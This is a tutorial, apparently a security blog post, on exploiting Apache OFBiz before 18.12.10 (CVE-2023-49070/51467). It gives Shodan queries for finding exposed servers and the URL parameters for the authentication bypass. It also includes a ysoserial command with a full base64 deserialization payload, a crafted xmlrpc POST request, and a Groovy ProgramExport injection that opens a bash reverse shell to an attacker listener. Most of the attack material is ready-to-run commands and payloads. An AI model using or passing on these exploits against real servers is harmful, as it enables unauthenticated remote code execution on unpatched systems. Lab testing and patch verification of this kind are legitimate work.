How to test and exploit Apache Ofbiz < 18.12.10. Authentication Bypass & Command Injection
How to test and exploit Apache Ofbiz < 18.12.10 Authentication Bypass & Command Injection
André Eichhofer
Preparing the test environment
- Download package and unpack under any Linux directory
- Build OFBiz container image
- Navigate into Ofbiz directory
DOCKER_BUILDKIT=1 docker build --tag ofbiz-docker .docker run -it -e OFBIZ_DATA_LOAD=demo --name ofbiz-docker -p 8443:8443 ofbiz-docker: Run Ofbiz container
- Add hostname on MacOS
If you want to call the application from a browser in a different host, you must add the hostname and IP from the test host.cat /etc/hostname192.168.6.128 demo-trunk.ofbiz.apache.org- see
ofbiz/framework/security/config/security.properties
- Start application
https://demo-trunk.ofbiz.apache.org:8443/partymgr- Credentials: admin:ofbiz
mitmproxy --ssl-insecurehttp --verify=no https://localhost:8443/partymgr --proxy=https:http://127.0.0.1:8000: send request through mitmproxy
Reconnaissance
Shodan
OFBiz.Visitorhttp.html:"ordermgr"http.html:"release18.12"OFBiz.Visitor http.html:"Order Manager"+"release"
Preconditions
Affected are versions 18.12.10. or earlier. The xmlrpc endpoint must exist at the vulnerable Ofbiz version:
192.168.6.128:8443/webtools/control/xmlrpc: check forxmlrpcendpoint192.168.6.128:8443/webtools/control/ping/: check forpingendpoint
Authentication bypass
There is an authorization bypass which allows to execute build-in commands under /webtools/control/ unauthorized. (The bypass only allows the execution of build-in commands, login bypass is not possible.)
Test authorization bypass with build-in ping command:
https://192.168.6.128:8443/webtools/control/ping/?USERNAME=&PASSWORD=&requirePasswordChange=Y
HTTP/1.1 200 OK
Pong
XMLRPC Command injection
If xmlrpc is available, the authorization bypass allows the execution of arbitrary commands through xmlrpc. The code can be injected as base64 encoded java command. You need to send a post request in XML structure containing the serializable java code.
- Test if xmlrpc endpoint is accessible
-
Prepare payload
The payload is a base64 encoded java command.
Generate the payload with ysoserial as follows:
java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add- opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED ysoserial-all.jar CommonsBeanutils1 <your_command> | base64 | tr -d "\n"Example: touch test.txt
java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED ysoserial-all.jar CommonsBeanutils1 "touch test.txt" | base64 | tr -d "\n"The output is base64 encoded payload:
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABsDK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGx -
Craft a POST request containing the payload
Next craft a POST request containg an XML structure with the payload. The base 64 encoded payload is inserted at the serialized_data injection point.
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_data</serializable
Example
POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 Host: localhost:8443 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Length: 3969 Content-Type: application/xml <?xml version="1.0"?> <methodCall> <methodName>Methodname</methodName> <params> <param> <value> <struct> <member> <name>test</name> <value> <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3........</serializable> </value> </member> </struct> </value> </param> </params> </methodCall>
Note: The response contains the same XML “faultcode” message as when testing the
xmlrpcendpoint (see above).
-
Check Docker container
Check Docker container if the payload (
touch test.txt) was executed:docker exec -it ofbiz-docker /bin/bash
The file should have been created within the
/ofbizfolder.
https://www.prio-n.com/blog/cve-2023-49070-51467-attacking-defending-Apache-OFBiz
https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/
Groovy Program Export command injection
A second command injection is possible by authentication bypass and through the Groovy Programm Export endpoint under https://localhost:8443/webtools/control/ProgramExport/.
-
Test if the endpoint is accessible
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 Host: demo-trunk.ofbiz.apache.org:8443 Cookie: JSESSIONID=49304432186DE22274E38DCB9034EC75.jvm1; webtools.securedLoginId=admin; OFBiz.Visitor=10101 ... ... Connection: close groovyProgram=<groovy_payload_here> -
Start a listener on the attacker machine
nc -lp 8888 -
Execute a reverse shell on the victim machine
http --verify=no --print hH --form POST "https://localhost:8443/webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y" groovyProgram="x=new String[3];x[0]='bash';x[1]='-c';x[2]='bash -i >%26 /dev/tcp/192.168.8.2/8888 0>%261;';x.execute();"
Links: